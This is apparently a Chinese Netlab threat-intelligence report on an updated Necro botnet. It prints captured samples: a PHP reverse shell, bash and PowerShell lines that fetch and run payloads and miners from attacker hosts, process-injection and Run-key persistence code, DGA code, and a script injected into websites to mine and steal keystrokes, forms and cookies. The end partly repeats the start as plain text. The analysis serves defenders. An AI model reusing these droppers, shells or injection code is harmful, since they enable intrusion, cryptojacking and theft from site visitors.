Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux
<!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">概述</h2>
<p>自从我们1月份公开<a href="__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">Necro</a>后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE  (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：</p>
<ol>
<li>开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。</li>
<li>更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。</li>
<li>C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。</li>
<li>能针对特定Linux目标传播<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>。</li>
<li>能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。</li>
</ol>
<p>本月初我们公开过<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/necro_attack_flow-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">样本分析</h2>
<h3 id="">扫描和传播</h3>
<ul>
<li>
<p>Laravel RCE  (CVE-2021-3129)</p>
<p>该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：</p>
<pre><code class="language-python">ZCgAMCXTa='php -r \'$sock=fsockopen(&quot;'+self.YxqCRypO+'&quot;,9999);$proc=proc_open(&quot;/bin/sh -i&quot;, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);\''
        ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
</code></pre>
<p>下载到的bash脚本功能如下：</p>
<ol>
<li>下载并执行另一个脚本<code>malware.sh</code>。</li>
<li>下载并执行<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>。</li>
<li>下载并执行挖矿程序。</li>
</ol>
<p>下面是我们捕获到一个bash脚本：</p>
<pre><code>wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64
...
export ARGS=&quot;-o 45.145.185.83:9050&quot;
export LINE=&quot;[ ! -f /tmp/.apid ] &amp;&amp; echo &gt; /tmp/.apid;./.1/sshd $ARGS  &gt;&gt; /dev/null;./.2/sshd $ARGS &gt;&gt; /dev/null &amp;&quot;
echo &quot;$LINE&quot; &gt; ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &amp;
exit

</code></pre>
<p>其中malware.sh脚本用于下载并执行新版本的Necro，内容如下所示：</p>
<pre><code>#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
</code></pre>
</li>
<li>
<p>WebLogic RCE (CVE-2020-14882)</p>
<p>该漏洞有2个exploits,分别针对Linux和Windows系统。</p>
<ol>
<li>针对Linux系统的exploit使用了bash，它会同时下载并执行Necro（setup.py）和挖矿程序。</li>
</ol>
<pre><code class="language-bash">cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r &quot;file_put_contents(\\&quot;.setup\\&quot;, file_get_contents(\\&quot;http://DOMAIN/setup\\&quot;));&quot;;curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r &quot;file_put_contents(\\&quot;.setup.py\\&quot;, file_get_contents(\\&quot;http://DOMAIN/setup.py\\&quot;));&quot;;curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=&quot;-o DOMAIN:9050&quot;;LINE=&quot;[ ! -f $DIR/.pidfile ] &amp;&amp; echo &gt; $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS &gt;&gt; /dev/null||./sshd $ARGS &gt;&gt; /dev/null &amp;&quot;;cd $DIR;echo &quot;$LINE&quot; &gt; $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
</code></pre>
<ol start="2">
<li>针对Windows平台的exploit使用了Powershell，它会先下载打包好的Pyhton2.7可执行环境（py.exe）,然后下载并执行Necro（setup.py）</li>
</ol>
<pre><code class="language-powershell">&quot;@powershell -NoProfile -ExecutionPolicy unrestricted -Command \&quot;(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\&quot; &amp; .\python.exe setup.py
</code></pre>
</li>
</ul>
<h3 id="windows">攻击Windows系统</h3>
<p>从上面的分析可知有些WebLogic服务器是运行在Windows操作系统上的，KekSec团伙显然对这些主机也很感兴趣。样本启动后如果检测到底层操作系统为Windows则会把py.exe复制到<code>USERPROFILE\\$6829.exe</code>，代码如下图所示：</p>
<pre><code class="language-python">if os.name == 'nt':
    try:
        sys.argv[1]
    except IndexError:
        subprocess.Popen(GetCommandLine() + &quot; 1&quot;, creationflags=8, close_fds=True)
        os.kill(os.getpid(),9)
    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
    if GetLastError() == ERROR_ALREADY_EXISTS:
       os.kill(os.getpid(),9)
    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
            os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
            os.kill(os.getpid(),9)
        except:
            pass
    else:

</code></pre>
<p>然后Necro会根据平台选择下载一个名为<code>x86.dll</code> 或 <code>x64.dll</code>的文件：</p>
<pre><code class="language-python">        try:
            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
        except:
            pass
    try:
        if platform.architecture()[0].replace(&quot;bit&quot;,&quot;&quot;) == &quot;32&quot;:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
        else:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
    except:
        pass
</code></pre>
<p>这个dll文件对应一个开源的Rootkit项目 <a href="https://github.com/bytecode77/r77-rootkit">r77-rootkit</a>，根据项目描述它能全面隐藏特定进程：</p>
<pre><code>r77 is a ring 3 Rootkit that hides following entities from all processes:

Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys &amp; values
TCP &amp; UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
</code></pre>
<p>接下来Necro会使用一段shellcode采用进程注入的方式加载这个rootkit，这段代码来自另一个开源项目<a href="https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py">sRDI</a>，shellcode的使用如下：</p>
<pre><code class="language-python">    # 把rootkit和shellcode组装在一起
    ...
       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x48\x89\xf4'
        gwObVdGd += b'\x5e'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
    else:
    ...
        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x83\xc4\x14'
        gwObVdGd += b'\xc9'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
    
    # 注入进程
     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
    if not FfyiMaCpdR:
        cJaQhosf -= 1
        return
    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
</code></pre>
<p>最后Necro会注册自启动项到<code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>:</p>
<pre><code class="language-python">        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot;, 0, KEY_WRITE)
                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
            except:
                pass
</code></pre>
<h3 id="tor">使用Tor通信</h3>
<p>因为在<a href="__GHOST_URL__/tor-bld/">Gafgyt_tor</a>中已经见过KekSec团伙使用Tor来隐藏真实C2，所以我们对新版的Necro支持Tor并不感到意外。令我们意外的是Necro居然集成了一种基于Tor代理DDoS攻击方法。</p>
<p>Tor C2通信代码如下，能看到其中集成了多个Tor代理的IP和端口。</p>
<pre><code class="language-python">try:
    import socks
except:
    f=open('socks.py', &quot;w&quot;)
    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove('socks.py')
        os.remove('socks.pyc')
    except:
        pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...

</code></pre>
<p>新加入的DDoS攻击方法 <code>torflood</code>的代码如下：</p>
<pre><code class="language-python">            elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'torflood':
                try:
                    import socks
                except:
                   ...
                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
                for i in range(0, int(CjoRjhoMj[7])):
                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))

</code></pre>
<h3 id="dga">子域名DGA+动态域名</h3>
<p>新版Necro更新了DGA机制，采用DGA生成子域名，然后配合动态域名生成最终的C2域名。从代码里我们可以看到候选的动态域名服务高达30个。</p>
<pre><code class="language-python">zMuBHdcdB=0
while zMuBHdcdB &lt; 0xcc:
    zMuBHdcdB+=1
    random.seed(a=0x7774DEAD + zMuBHdcdB)
    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
    RaRdhjkniVY+=&quot;.&quot;+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
    print RaRdhjkniVY
</code></pre>
<p>我们监测到有9个域名已经启动，从解析记录看有些域名绑定了IPv6地址：</p>
<pre><code>2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   
2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      
2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     
2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   
2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   
2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   
2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        
2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       
2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net 
</code></pre>
<h3 id="js">JS挂马</h3>
<p>Necro的挂马功能主要目的是在Web页面嵌入挖矿代码，这意味着当终端用户使用手机、PC或是其它设备浏览失陷设备（包括服务器和NAS设备）的相关Web页面时，可能沦为矿机并泄露敏感信息。</p>
<pre><code>            elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'injectcount':
                self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
            elif CjoRjhoMj[3]==&quot;:&quot; + self.cmdprefix + 'reinject':
                threading.Thread(target=self.OLkEqimhli).start()
                self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
</code></pre>
<p>Necro会先遍历被感染设备指定目录的<code>'*.js', '*.html', '*.htm', '*.php'</code>文件，寻找注入目标：</p>
<pre><code>if os.name != &quot;nt&quot;:
            self.AkvElneS=0
            for fkEoBpoAxpZc in [ele for ele in os.listdir(&quot;/&quot;) if ele not in ['proc', &quot;bin&quot;, 'sbin', 'sbin', &quot;dev&quot;, &quot;lib&quot;, 'lib64', 'lost+found', &quot;sys&quot;, 'boot', &quot;etc&quot;]]:
                for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
                    for oGADwYHVg in os.popen(&quot;find \&quot;/&quot; + fkEoBpoAxpZc + &quot;\&quot; -type f -name \&quot;&quot; + hfHpWZSupopK + &quot;\&quot;&quot;).read().split(&quot;\n&quot;):
                        oGADwYHVg = oGADwYHVg.replace(&quot;\r&quot;, &quot;&quot;).replace(&quot;\n&quot;, &quot;&quot;)
                        if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and &quot;npm&quot; not in oGADwYHVg and oGADwYHVg != &quot;&quot;:
                            self.chLYewdc(oGADwYHVg)
</code></pre>
<p>一旦找到目标，Necro就会向文件中插入一段代码：</p>
<pre><code>MnPbIqasMz=open(oGADwYHVg,&quot;rb&quot;)
            mkkzygnopRnB=MnPbIqasMz.read()
            MnPbIqasMz.close()
            fPSqTAZGgcep = kdYaxMPRdP(8)
            OGipqKBSmmTb = kdYaxMPRdP(8)
            hgOlaeQcQza = b64encode(&quot;//&quot; + self.injectCOxhTEJfB + '/campaign.js')
            fwEiSidxlgH='(function(' + OGipqKBSmmTb + &quot;, &quot; + fPSqTAZGgcep + &quot;) {&quot; + fPSqTAZGgcep + &quot; = &quot; + OGipqKBSmmTb + &quot;.createElement('script');&quot; + fPSqTAZGgcep + &quot;.type = 'text/javascript';&quot; + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + &quot;.src = atob('&quot; + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + &quot;'.replace(/&quot; + IoMfNcaVcJL + &quot;/gi, '')) + '?' + String(Math.random()).replace('0.','');&quot; + OGipqKBSmmTb + &quot;.getElementsByTagName('body')[0].appendChild(&quot; + fPSqTAZGgcep + ');}(document));'
           ...
            else:
                if oGADwYHVg.endswith(&quot;.js&quot;):
                    if 'var ' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
                else:
                    if '&lt;/body' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '&lt;/body', '&lt;script type=' + '&quot;' + 'text/javascript' + '&quot;' + &quot;&gt;&quot; + fwEiSidxlgH + '&lt;/script&gt;&lt;/body', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
            if wQARXUaaF:
                MnPbIqasMz=open(oGADwYHVg, &quot;wb&quot;)
</code></pre>
<p>被感染的页面会多出如下代码：</p>
<pre><code>(function(v2, v1) {
    v1 = v2.createElement('script');
    v1.type = 'text/javascript';
    v1.async = true;
    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
    v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
</code></pre>
<p>这一小段代码会链接到一个脚本 <code>hxxp[:]//ublock-referer.dev/campaign.js</code> 。通过我们的WebInsight可以看到最近1周内有300+网站被Necro感染。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/ttt-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>campaign.js 是一个高度混淆的javascript代码，在VT上的检测率为0：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>代码使用了两层混淆，解码后发现它同样源自一个开源项目<a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>，不同的是把原始版本的exploit功能去掉了，修改了部分代码的逻辑和接口名，加入了挖矿的功能。</p>
<p>修改后的Bot主要有三部分功能：</p>
<ul>
<li>挖矿：所有访问失陷网站的用户，浏览器都会加载一个挖矿js脚本：<code>hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2</code></li>
<li>用户信息窃取：代码会监控<code>unload/beforeunload/popstate/pagehide</code> 4个事件，然后通过如下两个接口上报数据</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">对应接口</th>
<th style="text-align:left">功能</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">/l.php</td>
<td style="text-align:left">上报键盘记录</td>
</tr>
<tr>
<td style="text-align:left">/f.php</td>
<td style="text-align:left">上报表单数据</td>
</tr>
</tbody>
</table>
<ul>
<li>执行指令：用户访问失陷网站的过程中，会通过 “/api.php” 接口上报一般性信息，并获取指令。一次可以获取多个指令，对应功能如下：</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">指令</th>
<th style="text-align:left">功能</th>
<th style="text-align:center">接口</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">cookie</td>
<td style="text-align:left">上报cookie信息</td>
<td style="text-align:center">/c.php</td>
</tr>
<tr>
<td style="text-align:left">clipboard</td>
<td style="text-align:left">上报剪切板信息</td>
<td style="text-align:center">/cb.php</td>
</tr>
<tr>
<td style="text-align:left">view</td>
<td style="text-align:left">会通过加载iframe来实时加载任意链接内容</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">post</td>
<td style="text-align:left">会向目标post指定内容</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">floodpost</td>
<td style="text-align:left">会向目标周期性post指定内容用以达到DDoS的效果</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">load</td>
<td style="text-align:left">会通过周期性添加Image对象并请求指定资源链接来达到DDoS效果</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">antiddos</td>
<td style="text-align:left">会通过周期添加iframe，并在加载目标链接后添加随机数字串来和抗D对抗</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">layer4</td>
<td style="text-align:left">会周期性向目标post指定长度范围的随机内容（DDoS）</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">jack</td>
<td style="text-align:left">通过iframe来加载指定内容，并能指定大小，并设定根据窗口改变来调整位置</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">eval</td>
<td style="text-align:left">通过eval方法来执行任意代码</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">md5/sha1</td>
<td style="text-align:left">通过指定的长度范围和码表来进行hash爆破，成功后上报</td>
<td style="text-align:center">/h.php</td>
</tr>
<tr>
<td style="text-align:left"></td>
<td style="text-align:left"></td>
<td style="text-align:center"></td>
</tr>
</tbody>
</table>
<p>对应的C2还是<code>hxxp[:]//ublock-referer.dev/</code>，根据被攻陷的网站的协议做http/https兼容：</p>
<pre><code>master = window[&quot;location&quot;][&quot;protocol&quot;] + &quot;//ublock-referer.dev&quot;;
APIKey = &quot;callbackScript&quot;;
</code></pre>
<p>网址<code>hxxps[:]//ublock-referer.dev</code>还用来下载恶意的FireFox插件<code>ublock_referer-1.0.0-an+fx.xpi</code>，插件使用的代码正是上述Javascript Bot <a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/malware_firefox_addone.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="">代码混淆算法</h3>
<p>新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树<a href="https://docs.python.org/3/library/ast.html">AST</a>的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。</p>
<pre><code>dDojPSRD=open(ULTiBINyz,&quot;rb&quot;)
     CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()
     dDojPSRD.close()
     p = ast.parse(CFiLMBZFoL)
     MiaFfQWZhb().visit(p)
     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
        ...
     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
         aPpaAZnhc.append(mFVUeqoHs.name)
     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     for ubhohFYJDo in EqDdlmuEhx:
         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
                 aPpaAZnhc.append(mFVUeqoHs.name)
     ...
     hkaxeZCocag=open(ULTiBINyz,&quot;wb&quot;)
</code></pre>
<h2 id="">小结</h2>
<p>从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。</p>
<h2 id="ioc">IOC</h2>
<ul>
<li>Tor C2</li>
</ul>
<pre><code>faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
</code></pre>
<ul>
<li>JS Miner/Bot 相关</li>
</ul>
<pre><code>https://cloud-miner.de/*
https://ublock-referer.dev/*
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
</code></pre>
<!--kg-card-end: markdown-->
版权


版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



概述


自从我们1月份公开Necro后不久，它就停止了传播，但从3月2号开始，BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE（CVE_2020_35665）和Zend RCE (CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。


通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：


 1. 开始攻击Windws系统，并在Windows平台上使用Rootkit隐藏自身。
 2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。
 3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。
 4. 能针对特定Linux目标传播Gafgyt_tor。
 5. 能篡改受害机器上的Web服务页面，实现浏览器挖矿，窃取用户数据，并将失陷网站用户的浏览器变为bot打DDoS攻击、做hash爆破等。


本月初我们公开过Gafgyt_tor，并指出它与Necro来自同一团伙，即所谓的Keksec团伙。从时间上看，他们在Necro之后开始传播Gafgyt_tor，但也在同步更新Necro，增加新的特性，完整的功能如下图所示。


值得说明的是，我们先后见过2种新版本的样本，分别采用Tor C2和“子域名DGA+动态域名”生成的C2域名，说明新版本也是在不断更新的,符合Necro作者一贯的风格：边分发边升级。下面我们分别从传播、C2通信和攻击等各个维度对新版样本进行分析。



样本分析



扫描和传播


 * 
   
   
   Laravel RCE (CVE-2021-3129)
   
   
   该漏洞的exploit使用了反向shell的方式先下载一个bash脚本，如下图所示：
   
   
   ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
           ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
   
   
   
   下载到的bash脚本功能如下：
   
   
   1. 下载并执行另一个脚本malware.sh。
   2. 下载并执行Gafgyt_tor。
   3. 下载并执行挖矿程序。
   
   
   下面是我们捕获到一个bash脚本：
   
   
   wget http://kek.gay/malware.sh -O malware.sh
   sh malware.sh
   rm -f malware.sh
   cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
